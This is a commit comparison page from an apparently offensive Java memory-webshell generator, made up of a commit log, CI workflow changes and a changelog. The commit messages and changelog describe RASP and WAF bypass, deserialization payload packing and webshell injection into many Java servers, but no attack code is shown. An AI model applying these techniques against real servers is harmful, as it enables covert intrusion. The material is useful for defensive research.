Compare commits

...
186 Commits
Author SHA1 Message Date
ReaJason dd2d9a8a3e ci: add docker build test 2025-05-14 01:13:44 +08:00
ReaJason ea955feccd chore: 1.8.0 2025-05-14 00:59:31 +08:00
ReaJason 6c84c44005 docs: update 2025-05-14 00:47:22 +08:00
ReaJason b581583dce refactor: rename 2025-05-14 00:34:32 +08:00
ReaJason a037e5d043 chore: upgrade deps 2025-05-14 00:34:32 +08:00
ReaJason 06dc282cff test: add godzilla ws case 2025-05-14 00:34:32 +08:00
ReaJason cae0a38a7a test: update docker-compose yamls 2025-05-14 00:34:32 +08:00
ReaJason d69df0d1c1 test: deploy failed in some middleware 2025-05-14 00:34:32 +08:00
ReaJason 942fa3ec68 test: godzilla websocket failed 2025-05-14 00:34:32 +08:00
ReaJason f52efcb7a2 feat: add websocket godzilla 2025-05-14 00:34:32 +08:00
ReaJason f55702ecda fix: jetty ee10 listener failed 2025-05-14 00:34:32 +08:00
ReaJason bc53918455 chore: update .gitignore 2025-05-14 00:34:32 +08:00
ReaJason ac2b28c1f3 test: add jetty ee8 ~ ee10 cases 2025-05-14 00:34:32 +08:00
ReaJason e68355df8b feat: support jetty ee8 ~ ee10 env 2025-05-14 00:34:32 +08:00
ReaJason e4a5215f5f fix: scriptEngine payload error 2025-05-14 00:34:32 +08:00
ReaJason 4f8ff51f8b feat: add groovy definer packer 2025-05-14 00:34:32 +08:00
ReaJason fc9877aa3a refactor: simplify code 2025-05-14 00:34:32 +08:00
ReaJason 8bb338d5a1 fix: ws command encryptor not work 2025-05-14 00:34:32 +08:00
ReaJason 0e2abdecb3 fix: downgrade runtime.exec 2025-05-14 00:34:32 +08:00
ReaJason f934e1e7ed fix: forkAndExec jdk7 & jdk11 2025-05-14 00:34:32 +08:00
ReaJason 330544c7f7 feat: support Primeton App Server 2025-05-14 00:34:32 +08:00
ReaJason 0fe51f8ec0 fix: JDK6 forkAndExec run failed 2025-05-14 00:34:32 +08:00
ReaJason d2efb56dbc chore: upgrade shadow Gradle plugin 2025-05-14 00:34:32 +08:00
ReaJason 827462bcc6 test: use right JDK version 2025-05-14 00:34:32 +08:00
ReaJason e59678188a feat: command unsafe bypass RASP 2025-05-14 00:34:32 +08:00
ReaJason 0ea1e7baba fix: xxl-job NPE 2025-05-14 00:34:32 +08:00
ReaJason d0ee5c66bf test: use pgrep command 2025-05-14 00:34:32 +08:00
ReaJason 0ee64df302 perf: init on startup 2025-05-14 00:34:32 +08:00
ReaJason 565d05340e feat: support command encryptor 2025-05-14 00:34:32 +08:00
ReaJason 761de0af90 refactor: dynamic add getFieldValue method for Listener 2025-05-14 00:34:32 +08:00
ReaJason 50a9aec83c style: unify fetch threads 2025-05-14 00:34:32 +08:00
ReaJason 3ecdbf020d test: add SpringBoot3 Tomcat test cases 2025-05-14 00:34:32 +08:00
ReaJason 65d097c43d ci: speed up integration test 2025-04-23 00:41:10 +08:00
ReaJason 825c276d4e feat: shrink TemplatesImpl fooBytes 2025-04-23 00:10:48 +08:00
ReaJason b8f3b67ba4 test: rm SpringBoot3 Tomcat testcases 2025-04-23 00:10:48 +08:00
ReaJason 59621eefec test: jboss4 PermGen OOM 2025-04-23 00:10:48 +08:00
ReaJason a0e9dfbc85 fix: SpringBoot Undertow and Jetty Shell inject failed 2025-04-23 00:10:48 +08:00
ReaJason 98281f0eae fix: SpringBoot Tomcat Shell Inject failed 2025-04-23 00:10:48 +08:00
ReaJason 2851c5d9e0 build: upgrade bun image version for fast build 2025-04-16 20:47:05 +08:00
ReaJason 02bc358498 docs: exchange word 2025-04-13 01:20:56 +08:00
ReaJason 2fe3f82ebc docs: link error 2025-04-13 01:09:33 +08:00
ReaJason 8e89db5b96 docs: update README 2025-04-13 01:08:26 +08:00
ReaJason 8f46ea2e5e docs: link error 2025-04-13 01:06:30 +08:00
ReaJason 9299764994 docs: update README 2025-04-13 01:04:19 +08:00
ReaJason d0b3ad2d95 docs: add English README 2025-04-13 01:01:36 +08:00
ReaJason 29f854c6dd refactor: format code 2025-04-12 21:48:23 +08:00
ReaJason 29d0d1b1e7 docs: add filter and listener (#27) 2025-04-12 21:36:35 +08:00
ReaJason 93fc7205cc docs: add ; for code 2025-04-11 00:02:57 +08:00
ReaJason f86675aee1 docs: add java servlet md (#27) 2025-04-10 23:53:19 +08:00
ReaJason ecfe751f38 docs: add recommended tools md (#27) 2025-04-10 00:04:16 +08:00
ReaJason 8e3dee8d13 docs: add self product intro 2025-04-08 23:04:23 +08:00
ReaJason 6a899d9f92 docs: add memshell intro 2025-04-08 22:59:44 +08:00
ReaJason 7bb4890443 docs: add maven central badge 2025-04-06 19:07:24 +08:00
ReaJason 66c6403dd7 docs: update README 2025-04-06 14:15:43 +08:00
ReaJason 9fa0cdd089 docs: update README 2025-04-06 14:11:13 +08:00
ReaJason abe55ba17e chore: 1.7.0 [skip ci] 2025-04-06 14:06:05 +08:00
ReaJason feb5a2b44a ci: support release maven deploy 2025-04-06 13:55:17 +08:00
ReaJason bc5e813064 docs: update CHANGELOG 2025-04-06 13:55:17 +08:00
ReaJason bfb7280c47 docs: add sdk usage example 2025-04-06 13:55:17 +08:00
ReaJason 8c9cb252db test: revert error 2025-04-06 13:55:17 +08:00
ReaJason a441e468fb test: assert failed 2025-04-06 13:55:17 +08:00
ReaJason f280cddb67 build(ui): module not found 2025-04-06 13:55:17 +08:00
ReaJason b6de448171 test: assert failed 2025-04-06 13:55:17 +08:00
ReaJason 81f42aae39 ci: update name 2025-04-06 13:55:17 +08:00
ReaJason da5db939be feat: support maven deploy 2025-04-06 13:55:17 +08:00
ReaJason e1540f1c05 refactor: use Jackson not Fastjson for smaller jar size 2025-04-06 13:55:17 +08:00
ReaJason accf83ac9d refactor: remove codec dependency 2025-04-06 13:55:17 +08:00
ReaJason f57ee7536c fix: use snapshot version for dev 2025-04-06 13:55:17 +08:00
ReaJason ffd2a636f4 refactor: rename modules 2025-04-06 13:55:17 +08:00
ReaJason 6b47b8e488 feat: support random param and default config (#50) 2025-04-06 13:55:17 +08:00
ReaJason 85e9eb8c70 refactor: use react router 2025-04-06 13:55:17 +08:00
ReaJason 47ea535fac revert: obfuscation (#13) 2025-04-06 13:55:17 +08:00
ReaJason 540559653f chore: upgrade ui components 2025-04-06 13:55:17 +08:00
ReaJason 8a0e3ee5de fix: behinder payload classname is invalid 2025-04-06 13:55:17 +08:00
ReaJason bc9ce37a52 feat: add three implementations for agent memshell 2025-04-06 13:55:17 +08:00
ReaJason 02c7abd086 feat: support CC payload generate 2025-04-06 13:55:17 +08:00
ReaJason 8eab3f5633 docs: update screenshots 2025-03-30 16:31:32 +08:00
ReaJason 0f03072b56 docs: update README 2025-03-30 16:17:55 +08:00
ReaJason 2f59fc80fb docs: update CHANGELOG 2025-03-30 15:33:31 +08:00
ReaJason 901a2b3af0 test: not support obfuscation for jetty suo5 filter 2025-03-30 15:33:31 +08:00
ReaJason 8deff1c8d9 feat: add Godzilla MethodVisitor (but not working for now) 2025-03-30 15:33:31 +08:00
ReaJason ad05c8f2da feat: support simple obfuscation (#13) 2025-03-30 15:33:31 +08:00
ReaJason e228065aa0 test: support advisor and asm agent unit test 2025-03-30 15:33:31 +08:00
ReaJason af0135286d test: update docker-compose yaml 2025-03-30 15:33:31 +08:00
ReaJason 722da5560e docs: update README 2025-03-30 15:33:31 +08:00
ReaJason b6e34e4beb refactor: extract method 2025-03-30 15:33:31 +08:00
ReaJason 3ced92f2d0 feat: support asm relocate to ignore server inner asm 2025-03-30 15:33:31 +08:00
ReaJason 476d92f173 chore: update .gitignore 2025-03-30 15:33:31 +08:00
ReaJason 3c7fd8aca5 test: weblogic 14 asm not work on asm 9 2025-03-30 15:33:31 +08:00
ReaJason c93ab0e7e0 feat: support other server command agent with asm (#51) 2025-03-30 15:33:31 +08:00
ReaJason 89cd4fef62 feat: support jetty command agent with asm (#51) 2025-03-30 15:33:31 +08:00
ReaJason e6d9ddb210 build: cannot find symbol 2025-03-30 15:33:31 +08:00
ReaJason a042900052 feat: support undertow agent with asm (#51) 2025-03-30 15:33:31 +08:00
ReaJason 23d3628786 test: glassfish3 internal asm version too low 2025-03-30 15:33:31 +08:00
ReaJason 4a9217aa3a feat: add agent memshell playground (#51) 2025-03-30 15:33:31 +08:00
ReaJason dd4832a5a8 feat: support command agent with asm on filterChain and contextValve (#51) 2025-03-30 15:33:31 +08:00
ReaJason db579ce39e chore: update dep 2025-03-30 15:33:31 +08:00
ReaJason 4c70dc9148 docs: update 2025-03-30 15:33:31 +08:00
ReaJason d97ddbd1cc perf: simplify jetty getContext method 2025-03-30 15:33:31 +08:00
ReaJason b8e91a3697 style: react component prop readonly 2025-03-30 15:33:31 +08:00
ReaJason 5d97780e34 fix: dev version no update 2025-03-30 15:33:31 +08:00
ReaJason a7751a0467 ci: add dev auto deploy 2025-03-30 15:33:31 +08:00
ReaJason 5abaa5bbc1 feat: support custom shell generator (#49) 2025-03-30 15:33:31 +08:00
ReaJason b3780135bb chore: upgrade dep 2025-03-30 15:33:31 +08:00
ReaJason c1fefd3510 chore: rm files 2025-03-30 15:33:31 +08:00
ReaJason ff70a5f2fe ci: rm useless steps 2025-03-09 02:14:02 +08:00
ReaJason d7faa6a59f build: reduce image size 2025-03-09 02:13:35 +08:00
ReaJason 675272a04c docs: update CHANGELOG 2025-03-01 23:16:31 +08:00
ReaJason a284cbbd02 chore: enhance phone ui 2025-03-01 23:11:41 +08:00
ReaJason 9073a97eec feat(ui): support show update button 2025-03-01 23:11:41 +08:00
ReaJason de2864b892 ci: release body add update steps [skip ci] 2025-03-01 23:11:40 +08:00
ReaJason 49819156ab fix(ui): generate fail 2025-02-28 23:25:28 +08:00
ReaJason 452e057bd1 fix: NeoreGeorg proxy not work 2025-02-28 23:24:31 +08:00
ReaJason dfd6328494 style: format code 2025-02-28 22:44:10 +08:00
ReaJason b78f5dad1c chore: upgrade Gradle 8.13 2025-02-28 22:41:09 +08:00
ReaJason fefe25cbce refactor(ui): separate each component into single file 2025-02-28 22:40:45 +08:00
ReaJason 30a141c8d4 fix: use server shell tool order 2025-02-28 22:40:45 +08:00
ReaJason c95a6da29f refactor: simplify valve shell code 2025-02-28 22:40:45 +08:00
ReaJason 688de30965 test: add SpringBoot1 vul case (resolved #22) 2025-02-28 22:40:45 +08:00
ReaJason b7c6303966 feat: support Neo-reGeorg shell generate (#35) 2025-02-28 22:35:14 +08:00
ReaJason e6d1aeac3c docs: update screenshots 2025-02-27 00:30:01 +08:00
ReaJason 4f58e13c00 docs: update CHANGELOG 2025-02-26 20:47:05 +08:00
ReaJason a47033d051 test: default shrink enabled 2025-02-26 20:47:05 +08:00
ReaJason 0192aa58ea test: war file error 2025-02-26 20:24:59 +08:00
ReaJason 00b807f5f8 feat: support Tomcat Jakarta WebSocket 2025-02-26 20:21:25 +08:00
ReaJason cd189a74f7 build(ui): enahnce cross-platform dx 2025-02-26 20:20:49 +08:00
ReaJason 690cfb833f fix: custom injectorClassName not work 2025-02-26 20:20:03 +08:00
ReaJason 45f2bb148d feat: support bytecode shrink
1. remove source file symbol (#46)
2. remove debug info when enable shrink (#29)
2025-02-26 20:19:30 +08:00
ReaJason e7a14bf2e3 test: test compile error 2025-02-26 20:13:53 +08:00
ReaJason 28fb25781b ci: release body is empty 2025-02-25 01:59:45 +08:00
ReaJason 58f471ca2c docs: update README 2025-02-25 01:41:40 +08:00
ReaJason db87c3f317 test: test order list is important 2025-02-25 01:41:28 +08:00
ReaJason 5635deff23 test: random name hit key words 2025-02-25 00:45:20 +08:00
ReaJason bda018b93f docs: update CHANGELOG 2025-02-25 00:39:24 +08:00
ReaJason 4d36c0bc8f docs: add Dockerfile build steps (resolved #44) 2025-02-25 00:31:08 +08:00
ReaJason ad4a0cf2bf ci: rm useless arg 2025-02-25 00:14:24 +08:00
ReaJason 9c820f9d29 build: build docker image with one Dockerfile (#44) 2025-02-25 00:14:11 +08:00
ReaJason a48442fcab build: optimize copy html script 2025-02-25 00:12:38 +08:00
ReaJason 68791f6c15 chore: update deps 2025-02-25 00:11:37 +08:00
ReaJason 479b2a0c16 fix: tomcat WebSocket shell not work (#25) 2025-02-25 00:11:16 +08:00
ReaJason a148fa1cb9 refactor: move class 2025-02-25 00:09:44 +08:00
ReaJason 116f1034b0 test: fix failed cases 2025-02-23 18:11:49 +08:00
ReaJason db55765fdf chore: update gitignore 2025-02-23 16:58:28 +08:00
ReaJason 8b67d639bd build: support auto download toolchains 2025-02-23 16:53:01 +08:00
ReaJason cead11c781 docs: add local build command 2025-02-23 16:51:22 +08:00
ReaJason 43dc5ca398 build(boot): Dockerfile support BOOT_OPTS env 2025-02-23 16:45:27 +08:00
ReaJason ede78f3efc refactor: supported unified test cases provider 2025-02-23 16:44:35 +08:00
ReaJason 72370a3b84 build(ui): support base_path 2025-02-23 02:33:09 +08:00
ReaJason ad248f0703 fix(ui): version show html when it failed 2025-02-23 02:33:09 +08:00
ReaJason 358f66ff01 feat: support shell registry for all server 2025-02-23 02:33:09 +08:00
ReaJason 76a78f14e0 refactor: simplify valve shell register 2025-02-23 02:33:09 +08:00
ReaJason 33a9008ecb chore: rm debug log 2025-02-23 02:33:09 +08:00
ReaJason b27b40c543 refactor: optimize import 2025-02-23 02:33:09 +08:00
ReaJason 74cc792dc6 test: rm log 2025-02-23 02:33:09 +08:00
ReaJason 348e86079a refactor: move members 2025-02-23 02:33:09 +08:00
ReaJason d4160d9a94 fix: undertow listener failed 2025-02-23 02:33:09 +08:00
ReaJason 19c40e0e2d refactor: rm useless code 2025-02-23 02:33:09 +08:00
ReaJason b49af93bec test: class import error 2025-02-23 02:33:09 +08:00
ReaJason d9e3e03def refactor: simplify memshell generate map register 2025-02-23 02:33:09 +08:00
ReaJason bba2b2d211 ci: set-output command is deprecated 2025-02-23 02:33:09 +08:00
ReaJason 56f0e8001d ci: optimize docker push order 2025-02-23 02:33:09 +08:00
ReaJason 2f80ecb020 ci: change scripts location 2025-02-23 02:33:09 +08:00
ReaJason b3bda20f2c fix(ui): shell type not reset when server changed 2025-02-21 00:32:24 +08:00
ReaJason be5a2089d2 ci: support jar file release 2025-02-21 00:16:48 +08:00
ReaJason 9d2e8125d9 fix: remove log 2025-02-20 23:59:23 +08:00
ReaJason 8964769be8 docs: update CHANGELOG 2025-02-20 23:53:26 +08:00
ReaJason 3acab6e620 feat: add loading component 2025-02-20 23:52:02 +08:00
ReaJason 5148414ca8 fix(ui): shell type not changed when server changed 2025-02-20 23:45:52 +08:00
ReaJason 0b10a55f66 test: change deserialize image name 2025-02-20 23:32:00 +08:00
ReaJason cbf2d02808 docs: update 2025-02-20 23:19:07 +08:00
ReaJason 775fc38abe ci: not run test in tag push [skip ci] 2025-02-20 23:19:07 +08:00
ReaJason 6b3f4a2606 chore: remove redundant dep 2025-02-20 23:13:23 +08:00
ReaJason 52c720572f fix(ui): packResult not changed when regenerate 2025-02-20 22:28:34 +08:00
ReaJason 5e2242665b chore: gradle 8.12.1 2025-02-20 22:28:34 +08:00
ReaJason cdd145d0b2 chore: rm socket dep 2025-02-20 22:28:34 +08:00
ReaJason 18aa8ed60d feat: support hessian packer (#36) 2025-02-20 22:28:34 +08:00
ReaJason 3e40763724 refactor: rename class 2025-02-20 22:04:00 +08:00
ReaJason eda6134262 chore: upgrade testcontainers and junit 2025-02-20 21:56:42 +08:00
ReaJason 9d81160b33 docs: update CHANGELOG 2025-02-19 22:21:17 +08:00
ReaJason 115b57c62e test: deserialize test container startup failed 2025-02-19 22:21:17 +08:00
ReaJason 1b8a845635 feat: enhance responsive layout and improve i18n support (#39) 2025-02-19 22:21:17 +08:00
ReaJason 3ccbd14256 fix: cb110 serializeVersionUID change failed 2025-02-19 22:21:17 +08:00
ReaJason 56510c89db test: add CB4 multi version gadgets integration test 2025-02-19 22:21:17 +08:00
ReaJason 358184f71b test: use annotation to simplify register servlet 2025-02-19 22:21:17 +08:00
ReaJason 6ee9e31aa8 ci: skip png file push 2025-02-19 00:30:01 +08:00
ReaJason 501f7a2d10 docs: update screenshots 2025-02-19 00:25:31 +08:00
611 changed files with 18982 additions and 19492 deletions
@@ -0,0 +1,35 @@
import argparse
import sys
if __name__ == '__main__':
capture = False
result_lines = []
parser = argparse.ArgumentParser(description="Extract changelog for a specific version")
parser.add_argument("version", help="The version of the changelog to extract, e.g. 'v1.0.0'")
args = parser.parse_args()
version = args.version
with open("../../CHANGELOG.md") as f:
lines = f.readlines()
for line in lines:
if line.startswith(f"## [{version}]"):
capture = True
elif capture and line.startswith("## ["):
break
elif capture:
result_lines.append(line)
if not result_lines:
print("Specified version not found.", file=sys.stderr)
sys.exit(1)
result_lines.append("## 更新方式\n")
result_lines.append("### Docker 部署\n")
result_lines.append("```bash\n")
result_lines.append("docker rm -f memshell-party\n\n")
result_lines.append("docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason/memshell-party:latest\n")
result_lines.append("```\n")
result_lines.append("### Jar 包启动\n")
result_lines.append("> 仅支持 JDK17 及以上版本\n")
result_lines.append("```bash\n")
result_lines.append(f"java -jar --add-opens=java.base/java.util=ALL-UNNAMED --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED boot-{version.strip('v')}.jar\n")
result_lines.append("```\n")
print("".join(result_lines).strip())
+118
View File
@@ -0,0 +1,118 @@
name: "Dev Deploy"
on:
push:
branches:
- dev
paths-ignore:
- 'docs/**'
- 'boot/**'
- 'web/**'
- '**.md'
- '**/*.png'
jobs:
build-jar:
name: Build Jar
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Setup Java
uses: actions/setup-java@v4
with:
distribution: 'temurin'
java-version: 17
- name: Setup Gradle
uses: gradle/actions/setup-gradle@v4
- name: Setup Bun
uses: oven-sh/setup-bun@v2
with:
bun-version: latest
- name: Build Web with Bun
working-directory: web
run: bun install --frozen-lockfile && bun run build
- name: Build Boot with Gradle
run: ./gradlew :boot:bootjar -x test
- name: Upload Boot Jar
uses: actions/upload-artifact@v4
with:
name: boot
path: boot/build/libs/*.jar
docker-push:
name: Docker Push
needs: [ build-jar ]
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Download Boot Jar
uses: actions/download-artifact@v4
with:
name: boot
path: boot/build/libs
- name: Login to Docker Hub
uses: docker/login-action@v3
with:
registry: docker.io
username: ${{ vars.DOCKERHUB_USERNAME }}
password: ${{ secrets.DOCKERHUB_TOKEN }}
- name: Set up QEMU
uses: docker/setup-qemu-action@v3
- name: Set up Docker Buildx
uses: docker/setup-buildx-action@v3
- name: Build and push
uses: docker/build-push-action@v6
with:
context: boot
platforms: linux/amd64,linux/arm64
push: true
tags: docker.io/reajason/memshell-party:dev
deploy-maven:
name: Deploy to Maven Central
needs: [ build-jar ]
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Setup Java
uses: actions/setup-java@v4
with:
distribution: 'temurin'
java-version: 17
- name: Setup Gradle
uses: gradle/actions/setup-gradle@v4
- name: Publish with Gradle
env:
ORG_GRADLE_PROJECT_mavenCentralUsername: ${{ secrets.ORG_GRADLE_PROJECT_mavenCentralUsername }}
ORG_GRADLE_PROJECT_mavenCentralPassword: ${{ secrets.ORG_GRADLE_PROJECT_mavenCentralPassword }}
ORG_GRADLE_PROJECT_signingInMemoryKey: ${{ secrets.ORG_GRADLE_PROJECT_signingInMemoryKey }}
ORG_GRADLE_PROJECT_signingInMemoryKeyId: ${{ secrets.ORG_GRADLE_PROJECT_signingInMemoryKeyId }}
ORG_GRADLE_PROJECT_signingInMemoryKeyPassword: ${{ secrets.ORG_GRADLE_PROJECT_signingInMemoryKeyPassword }}
run: ./gradlew publishAllToMavenCentral
deploy-northflank:
name: Deploy to Northflank
needs: [ docker-push ]
runs-on: ubuntu-latest
env:
NORTHFLANK_API_KEY: ${{ secrets.NORTHFLANK_API_KEY }}
steps:
- name: Update Deployment
run: |
curl --header "Content-Type: application/json" \
--header "Authorization: Bearer $NORTHFLANK_API_KEY" \
--request POST \
--data '{"external":{"imagePath":"docker.io/reajason/memshell-party:dev","credentials":"docker-hub"},"docker":{"configType":"default"}}' \
https://api.northflank.com/v1/projects/memshellparty/services/prereleasememshellparty/deployment
+40 -18
View File
@@ -15,19 +15,19 @@ jobs:
changelog: ${{ steps.get_changelog.outputs.changelog }}
steps:
- uses: actions/checkout@v4
- uses: actions/setup-python@v5
with:
python-version: '3.13'
- name: Get Version
id: get_version
uses: battila7/get-version-action@v2
run: |
VERSION=${GITHUB_REF#refs/tags/}
VERSION_WITHOUT_V=${VERSION#v}
echo "version=$VERSION" >> $GITHUB_OUTPUT
echo "version-without-v=$VERSION_WITHOUT_V" >> $GITHUB_OUTPUT
- name: Get ChangeLog
id: get_changelog
working-directory: scripts
working-directory: .github/scripts
run: |
CHANGELOG=$(python parse_changelog_of_version.py "${{ steps.get_version.outputs.version }}")
echo "changelog<<EOF" >> $GITHUB_OUTPUT
echo "$(python parse_changelog_of_version.py ${{ steps.get_version.outputs.version }})" >> $GITHUB_OUTPUT
echo "EOF" >> $GITHUB_OUTPUT
@@ -35,7 +35,6 @@ jobs:
build-jar:
name: Build Jar
runs-on: ubuntu-latest
needs: [ info ]
steps:
- uses: actions/checkout@v4
@@ -48,11 +47,6 @@ jobs:
- name: Setup Gradle
uses: gradle/actions/setup-gradle@v4
- name: Setup Node
uses: actions/setup-node@v4
with:
node-version: '23'
- name: Setup Bun
uses: oven-sh/setup-bun@v2
with:
@@ -63,13 +57,13 @@ jobs:
run: bun install --frozen-lockfile && bun run build
- name: Build Boot with Gradle
run: ./gradlew -Pversion=${{ needs.info.outputs.version-without-v }} :boot:bootjar -x test
run: ./gradlew :boot:bootjar -x test
- name: Upload Boot Jar
uses: actions/upload-artifact@v4
with:
name: boot
path: boot/build/libs/boot-${{ needs.info.outputs.version-without-v }}.jar
path: boot/build/libs/*.jar
docker-push:
name: Docker Push
@@ -109,13 +103,34 @@ jobs:
context: boot
platforms: linux/amd64,linux/arm64
push: true
build-args: |
VERSION=${{ needs.info.outputs.version-without-v }}
tags: |
docker.io/reajason/memshell-party:latest
docker.io/reajason/memshell-party:${{ needs.info.outputs.version-without-v }}
ghcr.io/reajason/memshell-party:latest
docker.io/reajason/memshell-party:latest
ghcr.io/reajason/memshell-party:${{ needs.info.outputs.version-without-v }}
ghcr.io/reajason/memshell-party:latest
deploy-maven:
name: Deploy to Maven Central
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Setup Java
uses: actions/setup-java@v4
with:
distribution: 'temurin'
java-version: 17
- name: Setup Gradle
uses: gradle/actions/setup-gradle@v4
- name: Publish with Gradle
env:
ORG_GRADLE_PROJECT_mavenCentralUsername: ${{ secrets.ORG_GRADLE_PROJECT_mavenCentralUsername }}
ORG_GRADLE_PROJECT_mavenCentralPassword: ${{ secrets.ORG_GRADLE_PROJECT_mavenCentralPassword }}
ORG_GRADLE_PROJECT_signingInMemoryKey: ${{ secrets.ORG_GRADLE_PROJECT_signingInMemoryKey }}
ORG_GRADLE_PROJECT_signingInMemoryKeyId: ${{ secrets.ORG_GRADLE_PROJECT_signingInMemoryKeyId }}
ORG_GRADLE_PROJECT_signingInMemoryKeyPassword: ${{ secrets.ORG_GRADLE_PROJECT_signingInMemoryKeyPassword }}
run: ./gradlew publishAllToMavenCentral
create-release:
name: Create Release
@@ -126,12 +141,19 @@ jobs:
steps:
- uses: actions/checkout@v4
- name: Download Boot Jar
uses: actions/download-artifact@v4
with:
name: boot
path: boot/build/libs
- name: Release
uses: ncipollo/release-action@v1
with:
name: ${{ needs.info.outputs.version }}
tag: ${{ needs.info.outputs.version }}
body: ${{ needs.info.outputs.changelog }}
artifacts: boot/build/libs/boot-${{ needs.info.outputs.version-without-v }}.jar
deploy-northflank:
name: Deploy to Northflank
+59 -24
View File
@@ -2,19 +2,14 @@ name: Test
on:
push:
paths-ignore:
- 'docs/**'
- 'boot/**'
- 'web/**'
- '**.md'
pull_request:
branches:
- main
- '**'
paths-ignore:
- 'docs/**'
- 'boot/**'
- 'web/**'
- '**.md'
- '**/*.png'
concurrency:
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
@@ -43,27 +38,63 @@ jobs:
- name: Boot Unit Test with Gradle
run: ./gradlew :boot:test
docker-build-test:
runs-on: ubuntu-latest
steps:
- name: Checkout code
uses: actions/checkout@v4
- name: Build Docker image
run: |
docker build --build-arg ROUTE_ROOT_PATH=/memshell-party --build-arg CONTEXT_PATH=/memshell-party -t app .
docker images
- name: Run Docker container
run: |
docker run -d -e BOOT_OPTS=--server.servlet.context-path=/memshell-party -p 8080:8080 app
sleep 10
- name: Test with curl
run: |
if [[ $(curl -w "%{http_code}" -o /dev/null http://localhost:8080/memshell-party/version) -eq 200 ]]; then
echo "Test successful!"
else
echo "Test failed!"
exit 1
fi
integration-test:
strategy:
fail-fast: false
matrix:
middleware:
- tomcat
- jetty
- jbossas
- jbosseap
- wildfly
- glassfish
- resin
- payara
- websphere
- websphere7
- springmvc
- weblogic
- springwebflux
- xxljob
cases:
- middleware: "tomcat"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war"
- middleware: "jetty"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "jbossas"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "jbosseap"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "wildfly"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "glassfish"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "resin"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "payara"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "websphere"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "websphere7"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "weblogic"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "springmvc"
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar"
- middleware: "springwebflux"
depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar"
- middleware: "xxljob"
depend_tasks: ""
runs-on: ubuntu-latest
name: ${{ matrix.middleware }}
name: ${{ matrix.cases.middleware }}
needs: [ unit-test ]
steps:
- name: Checkout
@@ -78,7 +109,11 @@ jobs:
- name: Setup Gradle
uses: gradle/actions/setup-gradle@v4
- name: Prepare for Integration Test
run: ./gradlew ${{ matrix.cases.depend_tasks }}
- name: Integration Test with gradle
run: ./gradlew :integration-test:test --tests '*.${{ matrix.middleware }}.*' --info
run: ./gradlew :integration-test:test --tests '*.${{ matrix.cases.middleware }}.*' --info
- name: Export Integration Test Summary
run: cat integration-test/build/test-results/report.md >> $GITHUB_STEP_SUMMARY
+13
View File
@@ -29,6 +29,10 @@ replay_pid*
**/build/
!src/**/build/
**/bin/
!**/src/main/**/bin/
!**/src/test/**/bin/
# Ignore Gradle GUI config
gradle-app.setting
@@ -49,3 +53,12 @@ gradle-app.setting
.DS_Store
*.iml
.vscode/
# enterprise integration test cases
snippets/
integration-test/**/apusic
integration-test/**/bes
integration-test/**/tongweb
integration-test/**/inforsuite
integration-test/**/primeton
+148
View File
@@ -5,6 +5,152 @@ All notable changes to this project will be documented in this file.
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
## [v1.8.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.8.0) - 2025-05-14
### Added
- 支持普元中间件内存马生成(only 6.5 版本)by @ReaJason#60
- 支持哥斯拉 WebSocket 内存马生成与测试
- 添加 Groovy 通用恶意类加载打包方式(用于测试 Jenkins 脚本执行)
- 命令执行支持加密器,双 Base64 测试绕过 WAF 安全设备
### Fixed
- 修复 Jetty 高版本中 ee8 ~ ee10 无法注入(#61
- 修复 Spring Boot 下类加载的原因导致的 Tomcat/Jetty/Undertow 部分内存马注入失败
### Changed
- 命令执行改为反射调用 forkAndExec 以绕过 RASPJDK7+
- 获取所有线程代码改为 `Thread.getAllStackTraces().keySet()`,高版本 JDK 不再需要 bypass module
- 优化 boot 在启动时即触发 Server 的内存马生成注册,加速第一次请求访问
**Full Changelog:** [v1.7.0...v1.8.0](https://github.com/ReaJason/MemShellParty/compare/v1.6.0...v1.7.0)
## [v1.7.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.7.0) - 2025-04-06
### Added
- 支持发布到 MavenCentral,可通过引入依赖使用生成 API by @ReaJason#41
- 支持 CC3、CC4 反序列化 payload 打包方式
- 支持随机参数生成与默认选项(#50
### Changed
- 去除代码混淆相关代码
- 为了更好地在 MavenCentral 展示,重命名部分模块
- 使用 Jackson 代替 Fastjson 降低 boot 打包体积
- 移除 commons-codec 降低 boot 打包体积
- 升级 shadcn/ui 所有 component 代码
**Full Changelog:** [v1.6.0...v1.7.0](https://github.com/ReaJason/MemShellParty/compare/v1.6.0...v1.7.0)
## [v1.6.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.6.0) - 2025-03-30
> 做代码生成以及代码混淆真是一件需要耐心的事情
### Added
- 支持自定义内存马生成 by @ReaJason#49
- 支持命令回显 ASM Agent 内存马 by @ReaJason#51
- 支持简易的代码混淆 by @ReaJason#13
- 支持自动发布 DEV 分支代码 CD
### Changed
